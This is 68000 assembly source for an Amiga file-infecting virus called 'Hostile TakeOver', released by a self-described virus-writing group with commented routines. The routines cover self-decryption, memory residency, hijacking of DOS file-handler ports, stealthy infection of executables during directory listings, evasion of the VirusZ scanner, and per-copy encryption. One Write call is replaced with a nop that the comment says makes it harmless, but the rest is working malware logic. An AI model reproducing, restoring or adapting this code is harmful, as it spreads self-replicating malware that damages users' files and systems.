*************************************************************************
*									*
*			   Hostile TakeOver				*
*			        (-HT1-)					*
*									*
*		   Donated to Mad Roger by John Ryder.			*
*									*
*	     The Trinity VirusWorx is gearing up again! 		*
*	   Watch out for some releases in the next months.		*
*		    							*
*           New ways to infect the system (Scheduler hack).		*
*                And the new HAVOC polymorph engine!			*
*                							*
*									*
*									*
*			  On Tour 1995-2001				*
*									*
*************************************************************************



*************************************************************************
*									*
*	This part is a fake entry and will not be saved during		*
*	infection.							*
*									*
*************************************************************************

	movem.l d0-d7/a0-a6,-(a7)		*Extra = 16 bytes
	move.l 4.w,a6
	bsr.s CrpSt				*Goto Main Virus Code
	movem.l (a7)+,d0-d7/a0-a6
	rts
	
*************************************************************************
*									*
*	This part decrypts the main virus code and clears		*
*	the caches. But only with OS 37 and up.	It's also the		*
*	entry point of the virus.					*
*									*
*************************************************************************
	
Header	movem.l d0-d7/a0-a6,-(a7)		*Header = 50 bytes
	move.l 4.w,a6
	cmp.w #37,20(a6)			*check for OS 37
	blt.s Con2
Erm	moveq.b #0,d0
	move.w #1853,d1				*ADJUST
Erm3	moveq.b #0,d2
	lea CrpSt(pc),a1
YepLoop	eor.b d0,(a1)+				*decrypt.....
	add.b d2,d0
	dbf d1,YepLoop
	jsr -636(a6)				*and clear the caches
	bsr.s CrpSt
Con2	movem.l (a7)+,d0-d7/a0-a6
Patch	dc.w $4eee,$0000			*the original prog jump

*************************************************************************
*									*
*	This is the part of the virus which checks whether		*
*	or not it is already present in mem, if not reserves the mem,	*
*	then copies the virus to this reserved mem			*
*									*
*************************************************************************

CrpSt	bsr.s ReCogN				*goto mem-selfrecog routine
	bne.s ConProg
	move.l #2800,d0				
        moveq #$2,d1
        jsr -684(a6)				*get 2800 bytes from mem
        tst.l d0
        beq.s ConProg
        move.l d0,a2
        lea Header(pc),a1
        move.w #476,d1				*ADJUST
CopyLus move.l (a1)+,(a2)+
        dbf d1,CopyLus
        move.l d0,a0
              	
	lea Begin(pc),a1
	lea Header(pc),a2
	sub.l a2,a1
	add.l a0,a1
	jsr (a1)
ConProg	lea Erm(pc),a1
	clr.b 1(a1)				*reset the decrypt values
	clr.w 4(a1)				*in case of reentry
	clr.b 7(a1)
	rts
	
*************************************************************************
*									*	
*	This is the main despatcher of the virus. All init routines	*
*	will be addressed from here.					*
*									*
*************************************************************************

Begin	bsr Inita				*reset data
	bsr Vectors				*get dosbase
	tst.l d0
	beq.s NoVir
	bsr GetTask				*get random task name
	bsr AddTask				*install own task
NoVir	rts

*************************************************************************
*									*
*	The following routine checks whether our task is already	*
*	in place. If this is true, our virus must be already active.	*
*									*
*************************************************************************


ReCogN	move.l 420(a6),d1
	beq.s NotInst
	move.l d1,a1
NxtTask	lea -666(a1),a3
	lea Task-666(pc),a2
	moveq.l #3,d7
Next4	cmpm.l (a2)+,(a3)+
	bne.s Oops	
	dbf d7,Next4
	bra.s Instd
Oops	tst.l (a1)
	beq.s NotInst
	move.l (a1),a1
	bra.s NxtTask
NotInst	clr.l d0
	rts	
Instd	moveq.l #-1,d0
	rts
		
*************************************************************************
*									*
*	Now follows the file-infection routine. It makes use of dos-	*
*	packages for certain ammount of stealth. However SnoopDos3 can	*
*	still see the virus at work.					*
*									*
*************************************************************************			
		
SavRout	moveq.l #8,d2
	move.l DirLock(pc),d3		*Lock
	move.l FName(pc),d4
	lsr.l #2,d4
	moveq.l #-2,d5
	bsr DoPkt
	tst.l d0
	beq NoLock
	lea Lock(pc),a1
	move.l d0,(a1)
		
	moveq.l #23,d2			*Examine
	move.l Lock(pc),d3
	move.l FIB(pc),d4
	lsr.l #2,d4
	bsr DoPkt
	tst.l d0
	beq UnLock
	
	move.l FIB(pc),a1
	tst.l 4(a1)
	bpl UnLock
	
	move.l 8(a1),d2
	and.l #$00dfdfdf,d2		*a check for VIR(USZ) this is done
	cmp.l #$00564952,d2		*to PREVENT an infection of VirusZ
	beq UnLock			*otherwise you get a nasty alert
	cmp.l #$20000,124(a1)		*giving away the presence of this
	bgt UnLock			*virus
	lea Length(pc),a2
	move.l 124(a1),(a2)

	moveq.l #26,d2			*DiskInfo
	move.l Lock(pc),d3
	move.l NonPoly(pc),d4
	lsr.l #2,d4
	bsr DoPkt	
	tst.l d0
	beq UnLock

	move.l NonPoly(pc),a1
	cmp.l #82,8(a1)
	bne UnLock
	move.l 12(a1),d0
	sub.l 16(a1),d0
	cmp.l #10,d0
	blt UnLock
	cmp.l #8000,12(a1)
	blt UnLock

	clr.l d6
	bsr Prot
		
	move.l FlHndl(pc),a3
	move.l PortAd(pc),8(a3)
	move.l #1026,d2
	move.l a3,d3
	lsr.l #2,d3
	move.l Lock(pc),d4
	bsr DoPkt	
	tst.l d0
	beq.s UnLock
	
	bsr Duplo
	bne.s Exit1
	
	bsr AllMem
        beq.s Exit1
        
	clr.l d4	
	bsr.s Seek
	moveq.l #-1,d2
	cmp.l d0,d2
	beq.s Rare
	
	move.l Buffer(pc),d4
	add.l VirLngt(pc),d4
	move.l Length(pc),d5
	bsr.s Read	
	tst.l d0
	bmi.s Rare

	bsr Trans
	bne.s Rare
	     
	clr.l d4	
	bsr.s Seek
	moveq.l #-1,d2
	cmp.l d0,d2
	beq.s Rare

	move.l Buffer(pc),d4
	move.l Length(pc),d5
	add.l VirLngt(pc),d5
	nop					*bsr.s Write (this makes
	bsr.s Rare				*the virus harmless)
	bra Date

*************************************************************************
*									*
*	Now follow various routines which handle writing, reading,	*
*	memory allocation ect.						*
*									*
*************************************************************************

Exit1	bsr.s Close
	move.l FIB(pc),a2
	move.l 116(a2),d6
	bra Prot

Rare	bsr.s Exit1
	bra FreeMem

UnLock	moveq.l #15,d2
	move.l Lock(pc),d3	
	bra.s DoPkt
	
Seek	bsr.s InitFH
	move.l #1008,d2
	moveq.l #-1,d5
	bra.s DoPkt

Read	bsr.s InitFH
	moveq.l #$52,d2
	bra.s DoPkt
	
Write	bsr.s InitFH
	moveq.l #$57,d2
	bra.s DoPkt	

InitFH	move.l FlHndl(pc),a3
	move.l 36(a3),d3
NoLock	rts

Close	bsr.s InitFH
	move.l #1007,d2
	
DoPkt	move.l DOSPkt(pc),a1
	move.l MyPort(pc),d1
	move.l d1,4(a1)
	move.l d2,8(a1)
	move.l d3,20(a1)
	move.l d4,24(a1)
	move.l d5,28(a1)
	move.l d6,32(a1)
	move.l d7,36(a1)
	move.l (a1),a1
	move.l d1,14(a1)
	move.l PortAd(pc),a0
	move.l #366,d4
	bsr LVO
WaitPrt	move.l MyPort(pc),a0
	move.l #372,d4
	bsr LVO
	tst.l d0
	beq.s WaitPrt
	move.l d0,a1
	move.l 10(a1),a1
	move.l 12(a1),d0
	move.l 16(a1),d1
	rts
	
Prot	moveq.l #21,d2
	bra.s Set

Date	moveq.l #34,d2
	move.l FIB(pc),a1
	lea 132(a1),a1
	move.l a1,d6
Set	clr.l d3
	move.l DirLock(pc),d4
	move.l FName(pc),d5
	lsr.l #2,d5
	bra.s DoPkt

AllMem	move.l Length(pc),d0
	add.l VirLngt(pc),d0
	moveq.l #2,d1
	jsr -684(a6)
	lea Buffer(pc),a3
	move.l d0,(a3)
	tst.l d0
	rts

FreeMem	move.l Buffer(pc),a1
	jsr -690(a6)
	rts
	
*************************************************************************

BinAd	lea Counter(pc),a2			*the infection counter
	addq.l #1,(a2)
	rts	
	
*************************************************************************
	
Vectors	lea DosLib(pc),a1			*dosbase finder
	move.l 4.w,a6
	move.l $17a(a6),a0
	jsr -276(a6)
	tst.l d0
	beq.s NoVec
	lea DosBase(pc),a1
	move.l d0,(a1)
NoVec	rts	
	
*************************************************************************
*									*
*	The following is the system infection routine. I must say 	*
*	that it resembles BEOL in a way....but this is pure 		*
*	coindedence. As I got the BEOL virus long time after I wrote	*
*	this virus. In stead of infecting the WaitPkt APTR as BEOL	*
*	does, this routine replaces the Task APTR (or File-Handler)	*
*	of devices (and not volumes).					*
*									*
*************************************************************************
	
Bingo	bsr.s Objects
	tst.l d0
	bne.s Ready
	rts
Ready	moveq.l #15,d7
	lea End(pc),a3
	lea NonPoly(pc),a4
	move.l a3,(a4)
	lea Task(pc),a4
	move.l DosBase(pc),a1
	lea Vol1(pc),a2
	move.l 34(a1),a1
	move.l 24(a1),a1
	bsr.s BPTR
	move.l 4(a1),a1
Next1	bsr.s BPTR
	cmp.l #0,4(a1)
	beq.s Volume
Fin	tst.l (a1)
	beq.s Last1
	move.l (a1),a1
	bra.s Next1
Volume	tst.l 8(a1)
	beq.s Fin
	move.l 8(a1),a3
	cmp.l 16(a3),a4
	beq.s Fin
	cmp.b #8,15(a3)
	bne.s Fin
	move.l a3,(a2)+
	move.l 16(a3),(a2)+
	move.l a4,16(a3)
	dbf d7,Fin
Last1	rts	
	
BPTR	move.l a1,d1
	lsl.l #2,d1
	move.l d1,a1
	rts	
	
*************************************************************************
*									*
*	Here, some DOS-objects will be allocated, like FH, DP and FIB	*
*	These are allocated once at start-up.				*								*
*									*
*************************************************************************	
	
	
Objects	moveq.l #3,d1
	bsr.s AllDos
	tst.l d0
	bne.s FndPkt
NoMem	rts
FndPkt	lea DOSPkt(pc),a2
	move.l d0,(a2)
	moveq.l #2,d1
	bsr.s AllDos
	tst.l d0
	beq.s NoMem
	lea FIB(pc),a3
	move.l d0,(a3)
	clr.l d1
	bsr.s AllDos
	tst.l d0
	beq.s NoMem
AllDone	lea FlHndl(pc),a3
	move.l d0,(a3)
	rts
AllDos	moveq.l #0,d2
	move.l DosBase(pc),a6
	jsr -228(a6)
	move.l 4.w,a6
	rts
	
*************************************************************************	
	
Variant	clr.l d0				*random number generator
	move.b $dff007,d0
	rts	
			
*************************************************************************			
			
Inita	Lea DosBase(pc),a1			*data resetter
	move.w #74,d1
Initz	clr.l (a1)+
	dbf d1,Initz
	rts	
	
*************************************************************************	
	
GetTask	move.l 4.w,a6				*search the liblist
	move.l 378(a6),a1			*for a name for our
	move.b $dff007,d1			*task
	and.l #$f,d1
	
Repent	move.l 10(a1),a3
	move.l (a1),a1
	tst.l (a1)
	beq.s EOLL
	dbf d1,Repent
	
EOLL	lea Name(pc),a2
	move.w #14,d0
NxtLet	move.b (a3)+,d2
	cmp.b #".",d2
	beq.s EOL
	cmp.b #0,d2
	beq.s EOL
	move.b d2,(a2)+
	dbf d0,NxtLet	
EOL	move.b #0,(a2)	
	rts
	
*************************************************************************	
	
AddTask	lea Task(pc),a1				*just what the label
	lea End+50(pc),a2			*says
	move.l a2,$3a(a1)
	lea End+562(pc),a2
	move.l a2,$3e(a1)
	move.l a2,$36(a1)
	move.w #$0100,8(a1)
	lea Name(pc),a2
	move.l a2,10(a1)
	lea TskCd(pc),a2
	move.w #0,a3
	jsr -282(a6)
	rts
	
*************************************************************************	
*									*
*	This is the infecting task. It will wait until a packet 	*
*	arrives at the patched file-handlers port (it was set to 	*
*	signal OUR task in stead of the file-handlers task).		*
*	Then it checks which port did the signalling, and gets the	*
*	msg from this port. after the SAVROUT routine (see above),	*
*	the msg will be send to the right task.				*
*									*
*	The packages which will be looked at are the LocObj and the	*
*	ExNxt packages.							*
*									*
*************************************************************************
	
	
TskCd	move.l 4.w,a6
	jsr -132(a6)
	bsr AddPort
	bsr Bingo
	jsr -138(a6)

ReEntry	move.l #$0100,d0
	jsr -318(a6)
NxtMsg	lea Task(pc),a1
	lea Vol1(pc),a2		
	moveq.l #15,d7
	
NxtPrt	tst.l (a2)
	beq.s ReEntry
	move.l (a2),a0
	move.l #372,d4
	bsr LVO
	tst.l d0
	bne.s CorPort
	addq.l #8,a2
	dbf d7,NxtPrt
	bra.s ReEntry
	
CorPort	move.l d0,a1
	bsr.s Reset
	move.l 10(a1),a2
	lea PortAd(pc),a3
	move.l a0,(a3)
	lea Msg(pc),a3
	move.l a1,(a3)
	move.l MyPort(pc),d0
	beq.s Back
	cmp.l #8,8(a2)
	beq DoLock
	cmp.l #24,8(a2)
	beq.s ExNext
Back	move.l PortAd(pc),a0
	move.l Msg(pc),a1
	move.l #366,d4
	bsr LVO
	bsr.s TSet
	bra.s NxtMsg	

Reset	moveq.l #15,d7
	lea Vol1(pc),a4
NxtRS	tst.l (a4)
	beq.s VExit
	move.l (a4)+,a5
	move.l (a4)+,16(a5)
	dbf d7,NxtRS
VExit	rts	

TSet	moveq.l #15,d7
	lea Vol1(pc),a4
	lea Task(pc),a5
NxtS	tst.l (a4)
	beq.s VExit
	move.l (a4)+,a3
	move.l a5,16(a3)
	addq.l #4,a4
	dbf d7,NxtS
	bra.s VExit
	
ExNext	move.l 24(a2),d1
	beq.s ReTurn
	bsr.s Chance
	bgt.s ReTurn

	lsl.l #2,d1
	addq.l #8,d1
InSert	lea DirLock(pc),a3
	move.l 20(a2),(a3)
	lea Excepts(pc),a3
	moveq.l #3,d5
NextL2	move.l d1,a2
NextL	cmp.b #0,(a2)
	beq.s SFin
	cmp.b #".",(a2)
	beq.s FndL
	addq.l #1,a2
	bra.s NextL
FndL	moveq.l #3,d4
NxtCmp	cmpm.b (a2)+,(a3)+
	bne.s LaLa
	dbf d4,NxtCmp
	bra Back
LaLa	dbf d5,NextL2
	
SFin	lea FName(pc),a2
	move.l d1,(a2)
	bsr SavRout
ReTurn	bra Back
	
DoLock	move.l 24(a2),d1
	beq.s ReTurn
	lsl.l #2,d1
	bra.s InSert	
	
LVO	movem.l d1-d7/a0-a6,-(a7)
	move.l a6,a5
	sub.l d4,a5
	jsr (a5)
	movem.l (a7)+,d1-d7/a0-a6
	rts	

*************************************************************************

Chance	clr.l d0				*used to infect files
	move.b $dff006,d0			*at random doing a list/dir
	move.l Rate(pc),d2
	cmp.l d0,d2
	rts
	
*************************************************************************	
	
AddPort	move.l #666,d4				*this port is needed as
	bsr.s LVO				*a reply port for replies
	tst.l d0				*on msgs we send to
	beq.s PortErr				*infect
	move.l d0,a1
	move.b #2,14(a1)
	lea MyPort(pc),a1
	move.l d0,(a1)
PortErr	rts	
	
*************************************************************************	
	
HunkClc	move.l VirLngt(pc),d7		*recalculate the hunk-lengths
	lsr.l #2,d7
	move.l -4(a1),d5		*a1=hunkstart a2=filestart+20	
	
Next	move.l (a2)+,d6
	cmp.l a1,a2
	beq.s Hela
	and.l #$1fffffff,d6
	cmp.l d5,d6
	beq.s EnLarge
	bra.s Next
	
EnLarge	add.l d7,-4(a2)			
Hela	add.l d7,-4(a1)	
	rts
	
*************************************************************************	
	
Encrypt	movem.l a0,-(a7)			*defining the encrypt
	bsr Variant				*parameters
	lea Erm+1(pc),a0
	move.b d0,(a0)	
	
	move.l d0,d7
	and.l #$7,d7
	lea Erm3+1(pc),a0
	move.b d7,(a0)
	
	movem.l (a7)+,a0
	rts
				
*************************************************************************
*									*				
*	Now follows the virus insertion routine. It just splits a 	*
*	file after the first hunk (if this is a code_hunk) and there	*
*	it inserts the virus						*
*	The second part installs the link to the virus in the to be 	*
*	infected proggy.						*
*									*
*************************************************************************
				
Trans	lea Recog(pc),a1
	move.w $dff006,d4
	move.w #$FAB4,d1
	eor.w d4,d1
	move.w d4,(a1)
	move.w d1,2(a1)
	move.l Buffer(pc),a1
	move.l a1,a2
	move.l VirLngt(pc),d1
	add.l d1,a2
	
	move.l TransNo(pc),d1
	lsr.l #2,d1
TrnsLs	move.l (a2)+,(a1)+
	subq.l #1,d1
	cmp.l #-1,d1
	bne.s TrnsLs
	
	lea Header(pc),a3
	move.l a1,d4
	bsr BinAd
	bsr.s Encrypt
	
	move.l a1,a2
	move.w #476,d1				*ADJUST
VirTrns	move.l (a3)+,(a1)+
	dbf d1,VirTrns	
	
	lea 50(a2),a2
	move.w #1853,d1				*ADJUST
Crypt	eor.b d0,(a2)+
	add.b d7,d0		
	dbf d1,Crypt
	
	move.l TransNo(pc),d3
	move.l HdLngt(pc),d1
	sub.l d1,d3
	lsr.l #1,d3
	subq.l #2,d3
	move.l Buffer(pc),a2
	move.l a2,a1
	add.l d1,a1
	addq.l #8,a1
	lea 20(a2),a2
	bsr HunkClc
	
	move.l a1,a4
	move.l d4,d7		
	moveq.l #-1,d0
SLoop	cmp.w #$4eee,(a4)
	beq.s wmword
	cmp.w #$4eae,(a4)
	beq.s wmword
WBack	tst.l d0
	beq.s OnePass
	addq.l #2,a4
	subq.l #1,d3
	bne.s SLoop
OnePass	tst.l d0
	rts
	
wmword	lea 2(a4),a3
	move.l a3,d6
	move.l d7,d5
	sub.l d6,d5
	cmp.l #$7fff,d5
	bgt.s WBack
	move.l d7,a1
	move.w 2(a4),48(a1)
	tst.l d5
	beq.s LI4
	cmp.w #$4eae,(a4)
	beq.s LI3					
LI2	move.w #$6000,(a4)+
	move.w d5,(a4)
ReUse	clr.l d0
	bra.s WBack
	
LI3	move.w #$6100,(a4)+
	move.w d5,(a4)
	bra.s ReUse

LI4	move.l #$4e714e71,(a4)
	bra.s ReUse
	
Read2	move.l NonPoly(pc),d4
	bra Read	
	
*************************************************************************	
*									*
*	This one checks for HunkHeader, HunkCode, and whether or not	*
*	we are already in the file.					*
*									*
*************************************************************************
	
Duplo	moveq.l #4,d5
	bsr.s Read2
	move.l NonPoly(pc),a3
	cmp.l #$3f3,(a3)
	bne.s AThere		
	moveq.l #8,d4
	bsr Seek
	moveq.l #4,d5
	bsr.s Read2
	move.l NonPoly(pc),a3
	move.l (a3),d4
	lsl.l #2,d4
	add.l #$14,d4
	move.l d4,-104(a3)
	move.l d4,-100(a3)
	bsr Seek
	moveq.l #8,d5
	bsr.s Read2
	move.l NonPoly(pc),a3
	cmp.l #$3e9,(a3)
	beq.s CodeH
AThere	moveq.l #-1,d0
NoThr	tst.l d0
	rts
	
CodeH	move.l 4(a3),d4
	lsl.l #2,d4
	move.l -100(a3),d7
	add.l d7,d4
	addq.l #4,d4
	move.l d4,-100(a3)
	bsr Seek
	moveq.l #4,d5
	bsr.s Read2
	move.l NonPoly(pc),a3
	move.w (a3),d0
	move.w 2(a3),d1
	eor.w d0,d1
	cmp.w #$fab4,d1
	beq.s AThere
	clr.l d0
	bra.s NoThr

*************************************************************************
*									*
*			The Data Section				*
*									*
*************************************************************************
		
DosLib	dc.b "dos.library",0		*12
Excepts	dc.b ".inf"
	dc.b ".lha"
	dc.b ".lzx"
	dc.b ".DMS",0,10
	
Virus	dc.b "Smeg! It's a",10		*13
Text	dc.b "Hostile TakeOver!",10	*18
	dc.b "(Better call Markus!)"	*21
Counter	dc.l 1			*4
	
VirLngt	dc.l 1908			;Adjust
Rate	dc.l 240			;Adjust
Recog	dc.l $0000FAB4
DosBase	dc.l 0
Name	dc.l 0,0,0,0
Vol1	dc.l 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
	dc.l 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
DirLock	dc.l 0
FIB	dc.l 0
FlHndl	dc.l 0
DOSPkt	dc.l 0
PortAd	dc.l 0
MyPort	dc.l 0
Msg	dc.l 0
FName	dc.l 0
NonPoly	dc.l 0
Lock	dc.l 0
Buffer	dc.l 0
Length	dc.l 0				*total = 300
HdLngt	dc.l 0
TransNo	dc.l 0						* 51x4 = 204 bytes
Task	dc.l 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0	*24x4 = 96
End